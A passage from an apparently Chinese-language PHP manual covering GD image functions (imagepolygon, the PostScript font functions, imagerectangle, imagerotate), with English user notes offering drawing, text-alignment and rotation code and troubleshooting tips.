$newX = $imgX/$_K * 100;
$newY = $imgY/$_K * 100;

# set start positoin of the image
# always centered
$posX = ($maxX-$newX) / 2;
$posY = ($maxY-$newY) / 2;

# creating new image with given sizes
$imgh = imageCreateTrueColor($maxX, $maxY);

# setting colours
$cols = explode(",", $picBG);
$bgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));
$cols = explode(",", $picFG);
$fgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));

# fill background
imageFill($imgh, 0, 0, $bgcol);

# create small copy of the image
imageCopyResampled($imgh, $timg, $posX, $posY, 0, 0, $newX, $newY, $image[0], $image[1]);

# writing copyright note
imageStringUp($imgh, $font, $maxX-9, $maxY-3, $copyright, $fgcol);

# output
switch($image[2]) {
     case 1:
   # GIF image
       header("Content-type: image/gif");
       imageGIF($imgh);
   case 2:
   # JPEG image
       header("Content-type: image/jpeg");
       imageJPEG($imgh);
   case 3:
   # PNG image
       header("Content-type: image/png");
       imagePNG($imgh);
}

# cleaning cache
imageDestroy($timg);
imageDestroy($imgh);

?>
24-Jan-2003 02:20
"Tip: As with anything that outputs its result directly to the browser, you can use the output-control functions (http://www.php.net/manual/en/ref.outcontrol.php) to capture the output of this function, and save it in a string (for example)."

ob_start();
imagepng($image);
$image_data = ob_get_contents();
ob_end_clean();

And now you can save $image_data to a database, for example, instead of first writing it to file and then reading the data from it. Just don't forget to use mysql_escape_string...
johnbeech at mkv25.net
20-Jan-2003 08:41
PNG files are already compressed. They use a lossless compression algorithm. If you are using HighColour images, the compression only does so much. For low colour images (16 or 256) the compression is much better.

It is pointless trying to compress the images further before sending to a browser.
bgd1977 at hotmail dot com
26-Jul-2002 09:37
I have experienced segfaults and bus errors with the following configuration: FreeBSD4.4, Apache 1.3.26, PHP 4.2.2, GD-1.8.4, PDFlib 4.0.1. The apache process crashed when calling the imagepng function, but it didn't crash when calling the imagejpg function, or imagecreatefrompng...

 Some wasted hours (lots) later, in which I have tried to recompile gd, libpng, php, libjpeg, what-not, I have found the following advices:
http://bugs.php.net/bug.php?id=16841

 So the problem was not with the png library, but rather with the PDFlib. Even though all the threads led to a png-problem... so I have simply upgraded to PDFlib 4.0.3 (w/o any special configure arguments; --with-libpng didn't work anyways), recompiled PHP, and now everything works (imagepng, pdf creation, etc.).

 Hope this helps,
 bogdan
ruelle at xtof dot com
17-Feb-2002 10:34
Better than a chmod 777 to any '/dir/pic.png' you should :
- test if dir is writable (is_writable func.)
- use chmod 700 (more secure because let only the webserver ID have access)

In any case you should program a (crontab) script to change the owner ID of any images created.
add a note add a note

后退 | 起点 | 前进
imagepalettecopy | 上一级 | imagepolygon


imagepolygon

(PHP 3, PHP 4, PHP 5)

imagepolygon -- 画一个多边形

说明

bool imagepolygon ( resource image, array points, int num_points, int color )

imagepolygon() 在图像中创建一个多边形。points 是一个 PHP 数组，包含了多边形的各个顶点坐标，即 points[0] = x0，points[1] = y0，points[2] = x1，points[3] = y1，以此类推。num_points 是顶点的总数。

例子 1. imagepolygon() 例子

<?php
// create a blank image
$image = imagecreatetruecolor(400, 300);

// fill the background color
$bg = imagecolorallocate($image, 0, 0, 0);

// choose a color for the polygon
$col_poly = imagecolorallocate($image, 255, 255, 255);

// draw the polygon
imagepolygon($image,
             array (
                    0, 0,
                    100, 200,
                    300, 200
             ),
             3,
             $col_poly);

// output the picture
header("Content-type: image/png");
imagepng($image);

?>

参见 imagecreate() 和 imagecreatetruecolor()。

add a note add a note User Contributed Notes
glowell at flash dot net
18-Nov-2005 07:43
Something to be aware of, ImagePolygon appears to convert the array of points passed to it from whatever format they may have been in originally into integers. This means if you pass it an array of floats (after running a rotation routine for example) the floats will be changed to integers INSIDE THE ORIGINAL ARRAY.

An extreme example: if for some reason you had an unit-sized polygon pt-array ( -1<x|y<1 for easy scaling purpose for instance) and for some reason your code calls imagepolygon on it (why? it'd only be a dot anyway) the array would be unusable after that (all either 1s, 0s or -1s). Scaling a unit-sized array, drawing it and then scaling it again will also may have a different result than expected.

Obviously, if the array in its original state is important to your code, it should use a copy of the original array for this call. If your code draws the same polygon multiple times but resizes it for different cases, you should have each size be created off an original template rather than adjusting a single polygon array.
jsnell at networkninja dot com
18-Feb-2001 11:07
Here are some handy routines for rotation and translation of polygons.  Scaling could be added easily as well.

function translate_point(&$x,&$y,$angle,$about_x,$about_y,$shift_x,$shift_y)
{
   $x -= $about_x;
   $y -= $about_y;
   $angle = ($angle / 180) * M_PI;
/* math:
[x2,y2] = [x,  *  [[cos(a),-sin(a)],
           y]      [sin(a),cos(a)]]
==>
x = x * cos(a) + y*sin(a)
y = x*-sin(a) + y*cos(a)
*/

   $new_x = $x * cos($angle) - $y * sin($angle);
   $new_y = $x * sin($angle) + $y * cos($angle);
   $x = $new_x+ $about_x + $shift_x ;
   $y = $new_y + $about_y + $shift_y;
}

function translate_poly($point_array, $angle, $about_x, $about_y,$shift_x,$shift_y)
{
   $translated_poly = Array();
   while(count($point_array) > 1)
   {
       $temp_x = array_shift($point_array);
       $temp_y = array_shift($point_array);
       translate_point($temp_x, $temp_y, $angle, $about_x, $about_y,$shift_x, $shift_y);
       array_push($translated_poly, $temp_x);
       array_push($translated_poly, $temp_y);
   }
   return $translated_poly;
}
add a note add a note

后退 | 起点 | 前进
imagepng | 上一级 | imagepsbbox


imagepsbbox

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

imagepsbbox -- 给出一个使用 PostScript Type1 字体的文本方框

说明

array imagepsbbox ( string text, int font, int size [, int space, int tightness, float angle] )

size 以像素表示。

space 可以用来改变字体中默认间距的值。此值将被加到通常的值上，可以为负值。

tightness 可以控制字符之间的间距。此值将被加到通常字符宽度上，可以为负值。

angle 以角度表示。

space 和 tightness 以字符间距单元表示，1 个单元为 1 em-square 的一千分之一。

space，tightness 和 angle 参数为可选项。

围绕文本范围的虚拟方框是用从字符度量学中的可用信息来计算的，不幸的是往往和实际上光栅生成的文本的结果有少许不同。如果角度为 0 度，（根据经验）文本在每个方向上都需要多 1 个像素。

注: 本函数仅在 PHP 编译时指定了 --enable-t1lib 时可用。

本函数返回包含有下列单元的数组：

0 | 左下角的 X 坐标
1 | 左下角的 Y 坐标
2 | 右上角的 X 坐标
3 | 右上角的 Y 坐标

参见 imagepstext()。

add a note add a note User Contributed Notes
daniel at dantec dot NO_SPAM dot nl
18-Apr-2002 12:23
When using imagepsbbox, you are probably trying to do something like creating a button with text, so that the button is large enough for the text...
Below is a very simple example of making a black button just big enough to display white text on it.

<?php

//if text is no variable set sample text
if (!$text)
   $text = "This is a sample text";

// set the font size
$fontsize=14;

// load the font to use
$font=ImagePsLoadFont("/fonts/ariam___.pfb");

//get the left lower corner and the right upper
list($lx,$ly,$rx,$ry) = imagepsbbox($text,$font,$fontsize,0,0,0);

// calculate the size of the text
$textwidth = $rx - $lx;
$textheight = $ry - $ly;

// make an image 40 pixels wider and 20 pixels higher than the text
$imh = $textheight + 20;
$imw = $textwidth + 40;
$im = imageCreate( $imw, $imh );

//define colors, first color is used as background color!
$black  = ImageColorAllocate ($im, 0, 0, 0);
$white = ImageColorAllocate ($im, 255, 255, 255);

//create the text (with the same parameters as imagepsbbox!)
ImagePSText ($im, "$text", $font, $fontsize, $white, $white, 20, 20,'','','',4);

//send the header
header("Content-type: image/jpeg");

// create the image
ImageJPEG ($im,"",100);

//destroy the image & font to free memory
Imagepsfreefont ( $font );
ImageDestroy ( $im );

?>
add a note add a note

后退 | 起点 | 前进
imagepolygon | 上一级 | imagepscopyfont


imagepscopyfont

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

imagepscopyfont -- 拷贝一个已加载的字体以备更改

说明

int imagepscopyfont ( resource fontindex )

如果要更改某字体例如扩展／精简，倾斜或改变字符编码矢量，但是又需要保留原有字体时使用本函数。注意要拷贝的字体必须是用 imagepsloadfont() 获得的，而不是一个已经是拷贝的字体。也可以在拷贝前修改。

如果使用本函数，必须按照相反的顺序释放用此方法取得的字体。否则脚本将死掉。

在一切正确的情况下，将返回一个有效的字体索引并可用于以后的用途。否则本函数返回 FALSE 并显示信息说明哪里错了。

注: 本函数仅在 PHP 编译时指定了 --enable-t1lib 时可用。

参见 imagepsloadfont()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagepsbbox | 上一级 | imagepsencodefont


imagepsencodefont

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

imagepsencodefont -- 改变字体中的字符编码矢量

说明

bool imagepsencodefont ( resource font_index, string encodingfile )

从文件中加载字符编码矢量并用其替换给定字体的编码矢量。由于 PostScript 字体的默认矢量缺少大多数超过 127 的字符位置，因此如果使用其它非英语的语言的话肯定需要改变它。编码文件的确切格式定义在 T1lib 文档中。T1lib 包含有两个可马上使用的文件，IsoLatin1.enc 和 IsoLatin2.enc。

如果发现自己总是要用本函数，更好的定义编码的做法是在配置文件中将 ps.default_encoding 设定为指向正确的编码文件，这样加载的所有字体就会自动具有正确编码了。

注: 本函数仅在 PHP 编译时指定了 --enable-t1lib 时可用。

add a note add a note User Contributed Notes
Scott Hanson
15-Jul-2003 08:15
The t1lib-5.0.0 source includes 5 different encoding files under Fonts/enc/. For my text with German umlauts, using IsoLatin1.enc did not work, but PSLatin1.enc did the trick.
alex_marquarth at yahoo dot de
24-Oct-2002 04:41
Because I have had problems with this function to find out that there is no result to store in a variable, a short example how to use:

$font = imagepsloadfont( "/home/www/font/Arial.pfb" );
imagepsencodefont( $font, "/home/www/font/IsoLatin1.enc" );

afterwards you can use the resource $font in each other ps function like imagepstext() or imagepsbbox().
add a note add a note

后退 | 起点 | 前进
imagepscopyfont | 上一级 | imagepsextendfont


imagepsextendfont

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

imagepsextendfont -- 扩充或精简字体

说明

bool imagepsextendfont ( int font_index, float extend )

扩充或精简某字体（font_index）。如果 extend 参数的值小于一则是精简该字体。

注: 本函数仅在 PHP 编译时指定了 --enable-t1lib 时可用。

add a note add a note User Contributed Notes
Pascal@TeamX
21-May-2003 06:28
Just for the less experienced PHP-Hackers, like me ;-)

header("Content-type: image/png");
$text = "hello world";
$val = 1.2;
$font = imagepsloadfont(" path to font ");
$im = imagecreate(200, 200);
$color_bg = imagecolorallocate($im, 255, 255, 255);
$color_font = imagecolorallocate($im, 0, 0, 0);
imagefill($im, 0, 0, $color_font);

imagepsextendfont($font, $val);

$bound = imagepstext($im, $text, $font, 25, $color_bg, $color_font, 10, 100, 0, 0, 0, 4);
imagepng($im);
imagedestroy($im);
add a note add a note

后退 | 起点 | 前进
imagepsencodefont | 上一级 | imagepsfreefont


imagepsfreefont

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

imagepsfreefont -- 释放一个 PostScript Type 1 字体所占用的内存

说明

bool imagepsfreefont ( resource fontindex )

imagepsfreefont() 释放一个 PostScript Type 1 字体所占用的内存。

注: 本函数仅在 PHP 编译时指定了 --enable-t1lib 时可用。

参见 imagepsloadfont()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagepsextendfont | 上一级 | imagepsloadfont


imagepsloadfont

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

imagepsloadfont -- 从文件中加载一个 PostScript Type 1 字体

说明

resource imagepsloadfont ( string filename )

如果一切正常，将返回一个合法的字体索引以备使用。否则返回 FALSE 并显示一条信息说明哪里错了，但不能直接读取此信息，因为输出格式是图像。

例子 1. imagepsloadfont() 例子

<?php
header("Content-type: image/jpeg");
$im = imagecreatetruecolor(350, 45);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);
$font = imagepsloadfont("bchbi.pfb"); // or locate your .pfb files on your machine
imagepstext($im, "Testing... It worked!", $font, 32, $white, $black, 32, 32);
imagepsfreefont($font);
imagejpeg($im, "", 100); //for best quality...your mileage may vary
imagedestroy($im);
?>

注: 本函数仅在 PHP 编译时指定了 --enable-t1lib 时可用。

参见 imagepsfreefont()。

add a note add a note User Contributed Notes
seymour at itsyourdomain dot com
12-Feb-2004 09:45
I had to use a full path to the font file or else I received errors from t1lib. Using just a filename, I received error 14. Using ./filename I received error 2.
add a note add a note

后退 | 起点 | 前进
imagepsfreefont | 上一级 | imagepsslantfont


imagepsslantfont

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

imagepsslantfont -- 倾斜某字体

说明

bool imagepsslantfont ( resource font_index, float slant )

用 slant 参数指定的倾斜值来倾斜 font_index 参数指定的字体。

注: 本函数仅在 PHP 编译时指定了 --enable-t1lib 时可用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagepsloadfont | 上一级 | imagepstext


imagepstext

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

imagepstext -- 用 PostScript Type1 字体把文本字符串画在图像上

说明

array imagepstext ( resource image, string text, resource font, int size, int foreground, int background, int x, int y [, int space, int tightness, float angle, int antialias_steps] )

foreground 是文本的颜色，background 是文本以防锯齿（antialiasing）方式尝试淡入的颜色。以 background 为颜色的像素实际上不会被画上去，所以背景图像不需要是实心的颜色。

以 x，y 给出的坐标定义了第一个字符的起点（或参考点，基本是字符的左下角）。这和 imagestring() 不同，其 x，y 坐标定义的是第一个字符的右上角。如果不很理解请参考 PostScript 文档中关于字体及其度量系统的部分。

space 可以用来改变字体中默认间距的值。此值将被加到通常的值上，可以为负值。

tightness 可以控制字符之间的间距。此值将被加到通常字符宽度上，可以为负值。

angle 以角度表示。

size 以像素表示。

antialias_steps 可以控制防混色文本使用的颜色的数目。允许值为 4 和 16。大的数值推荐用于大小小于 20 的文本，对文本质量的效果相当明显。对更大的大小，用 4，计算强度小一些。

space 和 tightness 以字符间距单元表示，1 个单元为 1 em-square 的一千分之一。

space，tightness，angle 和 antialias_steps 参数为可选项。

注: 本函数仅在 PHP 编译时指定了 --enable-t1lib 时可用。

本函数返回一个包含下列单元的数组：

0 | 左下角的 X 坐标
1 | 左下角的 Y 坐标
2 | 右上角的 X 坐标
3 | 右上角的 Y 坐标

参见 imagepsbbox()。

add a note add a note User Contributed Notes
heckp at uni-trier.de
10-Jul-2003 08:11
It is important so make shure that the "text" really is a string.

imagepstext ($im, $text, $font, $textsize, $black, $white, 10, 10);

won't work if $text is undefined, so PHP will quit with an error.

so always write it like this:

imagepstext ($im, "$text", $font, $textsize, $black, $white, 10, 10);
m.confalonieri(at)mclink.it
04-Jun-2003 09:00
I found a way to let imagepstext understand 32-bit colors (RGBA) by replacing in gd.c:PHP_FUNCTION(imagepstext)

int _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0;

with

unsigned int _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0;
Jeroen dot Straahof at newego dot nl
07-Feb-2003 10:12
I made a function that makes it easy to align text to the right
of an image. Below you can find the code because for me it
works great. You can also use it to center text as well, if you
like to have that simply remove the -10 and split the result
of $imgwidth and $texwidth

function AlignRight($string, $font, $imgwidth, $fontsize) {
list($lx,$ly,$rx,$ry) = imagepsbbox($string,$font,$fontsize,0,0,0);
$textwidth = $rx - $lx;
$imw = ($imgwidth-10-$textwidth);
return $imw;
}
johan (at) 1way2print.net
06-Nov-2002 06:17
If you use fonts with special chars, remeber to read in the encoded file *.enc with imagepsencodefont ... etc. for Danish, Swedish, German.....
a at url dot de
18-Feb-2002 10:16
a note on kernnig:
t1lib tries to load a corresponding afm file in the directory of the font file.
it does this by replacing the extension (.PFB .pfb) with ".afm". note that this has to be a lowercase afm! usually windows-ps-fonts have file names in all-uppercase, so try renaming the *.AFM file to *.afm.

i also noticed that sometimes this gives an error -2. it seems like t1lib chokes on windows-linebreaks in the afm file.

try 'recode dos..lat1 fontfile.afm' and check again.

if it all works, combinations like "Ta" or "Te" should show the second letter slightly moved to the capital T (on normal fonts like Times anyway).
npdavis at hotmail dot com
25-May-2001 12:09
If you have a programming error in your code, using ImagePsText, sometimes t1lib crashes with an unrecoverable error. Because of this, httpd needs to be restarted.

This problem only occurs if there is a programming error, but can drive you crazy when debugging, if you don't know about it. By killing the parent process(httpd) you "reset" t1lib. When debugging, if you get an error then make a code change, restart httpd before testing it again. This will save hours of frustration. Make it a habit to just restart httpd after every error, and you will be much happier.

Also, to see debugging messages, (if you are rendering x's) comment the jpeg header, and the ImageJpeg statement. You will get beautiful error messages. When you get a blank page, your ImagePsText code is working correctly. Uncomment the Header() and ImageJpeg() and see what you have. You might be passing parameters that render a white image with no text, but the code is working!

Numeric t1lib error messages can be decoded using the t1lib_doc.pdf file that comes with t1lib. PHP simply relays these errors from t1lib to the page. Please don't ask the PHP people about these errors... t1lib has beautiful documentation.... use it: )

thx,
Neil
npdavis at hotmail dot com
24-May-2001 11:56
One other thing... variables. It is important to convert variables to the proper type before they hit this function. In this respect, ImageTtfText is easier to work with. IE, if you pass a font size from one page to the next, via GPC, it becomes a string type. Sooo... use IntVal() to convert it to an integer type that ImagePsText can digest. In addition you must convert HTML special characters or use chr() to represent special characters. ImagePsFont will not decode &nbsp; to represent a space, use Chr(32) or a space:

$fontsize=IntVal($fontsize);
$font=ImagePsLoadFont("fonts/IntR.pfb");
ImagePsText($im, $textstring, $font, $fontsize, $textcolor, $background, 0, $fontsize,'','','',16); //note antialias is set
ImagePsFreeFont($font);

thx,
Neil
npdavis at hotmail dot com
22-May-2001 08:54
with a font included in t1lib:

<?PHP
Header ("Content-type: image/jpeg");
$im = ImageCreate (350, 45);
$black = ImageColorAllocate ($im, 0, 0, 0);
$white = ImageColorAllocate ($im, 255, 255, 255);
$font=ImagePsLoadFont("bchbi.pfb");
ImagePsText($im, "Testing... It worked!",
$font, 32, $white, $black, 32, 32);
ImagePsFreeFont($font);
ImageJpeg($im, "", 100);//for best quality... your mileage may vary
ImageDestroy ($im);
?>

Better than using freetype, but with freetype2, the difference is marginal. To flip backround and foreground colors, alternate the order of ImageColorAllocate statements.

If you get outlines (the antialiasing produces these) reverse the $black and $white color identifiers in the ImagePsText function.

Happy PostScripting!

thx,
Neil
add a note add a note

后退 | 起点 | 前进
imagepsslantfont | 上一级 | imagerectangle


imagerectangle

(PHP 3, PHP 4, PHP 5)

imagerectangle -- 画一个矩形

说明

bool imagerectangle ( resource image, int x1, int y1, int x2, int y2, int col )

imagerectangle() 用 col 颜色在 image 图像中画一个矩形，其左上角坐标为 x1, y1，右下角坐标为 x2, y2。图像的左上角坐标为 0, 0。

add a note add a note User Contributed Notes
administrador(ensaimada)sphoera(punt)com
04-May-2006 10:28
<?php
// With this function you will draw rounded corners rectangles with transparent colors.
// Empty (not filled) figures are allowed too!!

function draw_roundrectangle($img, $x1, $y1, $x2, $y2, $radius, $color,$filled=1) {
   if ($filled==1){
       imagefilledrectangle($img, $x1+$radius, $y1, $x2-$radius, $y2, $color);
       imagefilledrectangle($img, $x1, $y1+$radius, $x1+$radius-1, $y2-$radius, $color);
       imagefilledrectangle($img, $x2-$radius+1, $y1+$radius, $x2, $y2-$radius, $color);

       imagefilledarc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color, IMG_ARC_PIE);
       imagefilledarc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color, IMG_ARC_PIE);
       imagefilledarc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color, IMG_ARC_PIE);
       imagefilledarc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color, IMG_ARC_PIE);
   }else{
       imageline($img, $x1+$radius, $y1, $x2-$radius, $y1, $color);
       imageline($img, $x1+$radius, $y2, $x2-$radius, $y2, $color);
       imageline($img, $x1, $y1+$radius, $x1, $y2-$radius, $color);
       imageline($img, $x2, $y1+$radius, $x2, $y2-$radius, $color);

       imagearc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color);
       imagearc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color);
       imagearc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color);
       imagearc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color);
   }
}

?>
More functions at http://www.sphoera.com
carl at pappenheim dot net
20-Feb-2006 07:02
Oh I don't know.  He was on the right track..

<?php

$rows = 5;
$cols = 11;
$eachx = 12;
$eachy = 18;

$max = array($cols*$eachx, $rows*$eachy);
$im = imagecreatetruecolor($max[0]+1,$max[1]+1);
$white = imagecolorallocate($im,255,255,255);
imagefill($im,0,0,$white);

$black = imagecolorallocate($im,50,50,50);

for($x=$max[0]/2;$x>=0;$x-=$eachx) {
   imagerectangle($im, ($max[0]/2)+$x,0, ($max[0]/2)-$x,$max[1], $black);
}
for($y=$max[1]/2;$y>=0;$y-=$eachy) {
   imagerectangle($im, 0,($max[1]/2)+$y, $max[0],($max[1]/2)-$y, $black);
}

header("Content-type: image/jpeg");
imagejpeg($im,'',80);
imagedestroy($im);
?>
matt at bargolf dot net
31-Jan-2006 06:25
Lets not do it Mr Benson's way OK!

I'm sure if I had to draw a 10x10 grid on paper I wouldn't do it by drawing 100 individual squares, redrawing nearly half of the lines twice.

I'd probably do it by drawing 11 vertical lines and 11 horizontal lines.

function ImageGrid2(&$im,$startx,$starty,$width,$height,$xcols,$yrows,&$color) {
   $endy = $starty + $height * $yrows;
   for ( $x=0; $x <= $xcols; $x++ ) {
       $x1 = $startx + $width * $x;
       imageline ( $im, $x1, $starty, $x1, $endy, $color );
   }

   $endx = $startx + $width * $xcols;
   for ( $y=0; $y <= $yrows; $y++ ) {
     $y1 = $starty + $height * $y;
     imageline ( $im, $startx, $y1, $endx, $y1, $color );
   }
}
Gros
10-Jan-2006 12:33
1 rectangle = 4 lines.
It's easier...
eustaquiorangel at yahoo dot com
18-Dec-2002 01:21
If you want an empty rectangle, I mean, just the borders, fill it first with the ImageFilledRectangle function with the background color and then draw it with this function.
jbenson at technologist dot com
28-Nov-2000 02:41
For those wanting a function to draw a grid I've created one.  I hope this is the right place to post it.

function ImageGrid(&$im,$startx,$starty,$width,$height,$xcols,$yrows,&$color) {

for ( $x=0; $x < $xcols; $x++ ) {
   for ( $y=0; $y < $yrows; $y++ ) {
     $x1 = $startx + ($width * $x);
     $x2 = $startx + ($width * ($x+1));
     $y1 = $starty + ($height * $y);
     $y2 = $starty + ($height * ($y+1));
     ImageRectangle($im, $x1, $y1, $x2, $y2, $color);
   }
}

} // end function ImageGrid
add a note add a note

后退 | 起点 | 前进
imagepstext | 上一级 | imagerotate


imagerotate

(PHP 4 >= 4.3.0, PHP 5)

imagerotate -- 用给定角度旋转图像

说明

resource imagerotate ( resource src_im, float angle, int bgd_color [, int ignore_transparent] )

将 src_im 图像用给定的 angle 角度旋转。bgd_color 指定了旋转后没有覆盖到的部分的颜色。

旋转的中心是图像的中心，旋转后的图像会按比例缩小以适合目标图像的大小――边缘不会被剪去。

如果 ignore_transparent 被设为非零值，则透明色会被忽略（否则会被保留）。此参数是 PHP 5.1 新加的。

例子 1. 将图像旋转 180 度

本例将把一幅图像旋转 180 度――上下颠倒。

// File and rotation
$filename = 'test.jpg';
$degrees = 180;

// Content type
header('Content-type: image/jpeg');

// Load
$source = imagecreatefromjpeg($filename);

// Rotate
$rotate = imagerotate($source, $degrees, 0);

// Output
imagejpeg($rotate);

注: 本函数仅在 PHP 与其捆绑的 GD 库一起编译时可用。

add a note add a note User Contributed Notes
barbarism at oscillatewildly dot com
18-Apr-2006 10:00
If you pass "-1" into the last param of imagecreatefrompng, it preserves PNG transparently properly!

Exampe:

   $filename = './documents/135.pdf.png';
   $degrees = 40;

   header('Content-type: image/png');

   $source = imagecreatefrompng($filename);

   $rotate = imagerotate($source, $degrees, -1);

   imagealphablending($rotate, true);
   imagesavealpha($rotate, true);

   imagepng($rotate);
Longhair
14-Apr-2006 05:03
<?

//KOMPASS //PHP4.0 //GD2

$wert=0; //0-360 degree
$null=46; //Offset
$bgcolor=0x0033CC;
$grad=$wert+$null;
$kompass=imagecreatefromjpeg("bilder/kompass_ohne.jpg");
$nadel=imagecreatefromjpeg("bilder/nadel_bleu.jpg");

$mov_nadel= imagerotate($nadel, $grad, $bgcolor);

$xKom=imagesx($kompass);
$yKom=imagesy($kompass);

$x2Kom=$xKom/2;
$y2Kom=$yKom/2;

$xNad=imagesy($mov_nadel);
$yNad=imagesy($mov_nadel);

$y2Nad=$yNad/2+$x2Kom-$yNad; //92/2=46 + 100-92
$x2Nad=$xNad/2+$y2Kom-$xNad;

imagecopy ( $kompass, $mov_nadel, $x2Nad, $y2Nad, 0, 0, $xNad, $xNad );

header("Content-type: image/jpg");
//wird als JEPG-Bild Ausgegeben
//imagepng($kompass);
imagejpeg($kompass);
//imagegif($nadel);
imagedestroy($nadel);
imagedestroy($kompass);

?>
gareth at crxchaos dot co dot uk
02-Mar-2006 11:19
It's worth noting this function will only rotate true colour images - If you have a 256 colour pallet based image it will not rotate with this. Use the following code to convert the 256 colour image to truecolour first:

<?php

if (!imageistruecolor($im))
{
  $w = imagesx($im);
  $h = imagesy($im);
  $t_im = imagecreatetruecolor($w,$h);
  imagecopy($t_im,$im,0,0,0,0,$w,$h);
  $im = $t_im;
}

?>

I have found no mention of this shortcoming of imagerotate anywhere on the Internet. Hopefully this will limit the number of people who, like me, are trying to troubleshoot a perfectly operation PHP install.
olav-x at volvo-power.net
18-Nov-2005 08:17
I tried the example provided by 'jonathan AT sharpmedia DOT net', and that gave me strange rotations, with offset on the image.

I dont need an advanced rotation script like that, so I used his function wrapper and make a more simple edition.

ps. the code above the function is only for test-purpose.
I'll retrieve srcpic from the db.

the idea here, is that I'll store rotated thumbs of the original thumb. Then the user can click on the thumb which is "correctly rotated" and then the original file will be rotated.

I think I'll make some backup function implemented too!
the idea is that the rotated files will  have _ROT<int>.ext
eg. if you rotate the file "bicycle.jpg" 1 rotation (90 degrees), it will be copied to: bicycle_ROT1.jpg, 180 degrees would be _ROT2.jpg, and so on.

There is only 3 rots, I should have removed the ROT0 here, as well as the code might need improvement.
However, I think that simple codes like this ones, are the easiest ones to use as a foundation, as they are - simple!

What you can improve, if you want to do this:
* there is a lot! however, you have to wrap the $dst in something like:
if (!isset($dst)) {
}

eg. so you can over-ride the "save to", when calling the function!

this is beta 0.0000001 however, so play with it, slaughter it, whatever.

good luck!

Olav Alexander Mjelde

<?php
// #### start of test
$srcpic = 'bilder/biler/_tmp/foo.jpg';
echo rotateImage($srcpic, $dstpic, 1, 100);
echo rotateImage($srcpic, $dstpic, 2, 100);
echo rotateImage($srcpic, $dstpic, 3, 100);
// #### end of test

// this function rotates an image
function rotateImage($src, $dst, $count = 1, $quality = 95)
{
   if (!file_exists($src)) {
       return false;
   }
   // generate output filename
extension
   $dst = substr($src, 0, strrpos($src, ".")) . "_ROT" . $count  . substr($src, strrpos($src, "."), strlen($src));

switch ($count) {
case 0:
   $degrees = 0;
   break;
case 1:
   $degrees = 90;
   break;
case 2:
   $degrees = 180;
   break;
case 3:
   $degrees = 270;
   break;
}

// Load
$source = imagecreatefromjpeg($src);
// Rotate
$rotate = imagerotate($source, 360 - $degrees, 0);
// Output
imagejpeg($rotate, $dst, $quality);

   imageDestroy($rotate);
   imageDestroy($source);

   return true;
}

?>
simon_nuttall at hotmail dot com
28-Sep-2005 01:06
The following is potentially useful. It extracts the central largest circle of an image into a square of specified size, and optionally rotates it. The rest of the square is made transparent, so useful for drawing over other images. I've named it after binocular effect because on some old TV shows whenever they show someone looking through binoculars the screen shows a big circular image with black edges.

<?php

function image_binocular_effect($src, $bearing, $out_square) {
 // the source image is resampled to fit within the specified square, and rotated clockwise by bearing.
 // the largest circle within the image is retained, the rest made transparent.
 $out = imagecreatetruecolor($out_square, $out_square);
 $width=imagesx($src);
 $height=imagesy($src);
 $square=min($width, $height);
 imagecopyresampled($out, $src, 0, 0, ($width - $square)/2 , ($height - $square)/2, $out_square, $out_square, $square, $square);

 $mask = imagecreatetruecolor($out_square, $out_square);
 $black = ImageColorAllocate ($mask, 0, 0, 0);
 $white = ImageColorAllocate ($mask, 255, 255, 255);
 imagefilledrectangle($mask , 0, 0, $out_square, $out_square, $white);
 $centrexy=$out_square / 2;
 imagefilledellipse($mask, $centrexy, $centrexy, $out_square, $out_square, $black);
 ImageColorTransparent($mask, $black);
 imagecopymerge($out, $mask,  0, 0, 0, 0, $out_square, $out_square, 100);
 if ($bearing != 0) {
  $rotated_img=imagerotate($out , 360-$bearing, $white);
  // take off only the rotated width
  $rotated_map_width = imagesx($rotated_img);
  $rotated_map_height = imagesy($rotated_img);
  imagecopy($out, $rotated_img, 0, 0, ($rotated_map_width - $out_square) / 2, ($rotated_map_height - $out_square) / 2, $out_square, $out_square);
  }
 ImageColorTransparent($out, $white);
 return $out;
}

// Create a sample image to demonstrate the effect, but looks much better on real photos.

$src = imagecreatetruecolor(200, 50);
imagefilledrectangle($src, 0, 0, 200, 50, imagecolorallocate($src, 255, 255, 255));
ImageString($src, 3, 10, 10, "This is a sample image to illustrate the binocular effect", imagecolorallocate($im, 192, 0, 0));
$img=image_binocular_effect($src, 72, 50);
ImagePNG($img,"test.png");

?>
kumm at webstar dot hu
22-Aug-2005 03:59
A better bugfix for jonathan AT sharpmedia DOT net's rotateImage function

you need to replace:

// Now copy tmp2 to $out;
imagecopy($out, $tmp2, 0, 0, ($angle == 270 ? abs($w - $h) : 0), 0, $h, $w);

with:
// Now copy tmp2 to $out;
if ($h>$w) {
   imagecopy($out, $tmp2, 0, 0, 0, ($angle == 90 ? abs($w - $h) : 0), $h, $w);
} else {
   imagecopy($out, $tmp2, 0, 0, ($angle == 270 ? abs($w - $h) : 0), 0, $h, $w);
}

otherwise the image gets moved when rotating a standing up image
jmichel at faeryscape dot com
27-Apr-2005 02:56
